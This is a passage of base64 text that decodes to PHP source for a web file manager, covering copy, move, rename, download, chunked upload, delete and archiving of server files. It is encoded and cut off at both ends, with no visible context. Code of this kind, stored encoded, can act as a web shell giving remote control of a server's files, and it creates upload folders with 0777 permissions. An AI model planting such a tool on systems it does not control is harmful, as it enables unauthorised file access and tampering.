fUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1Rb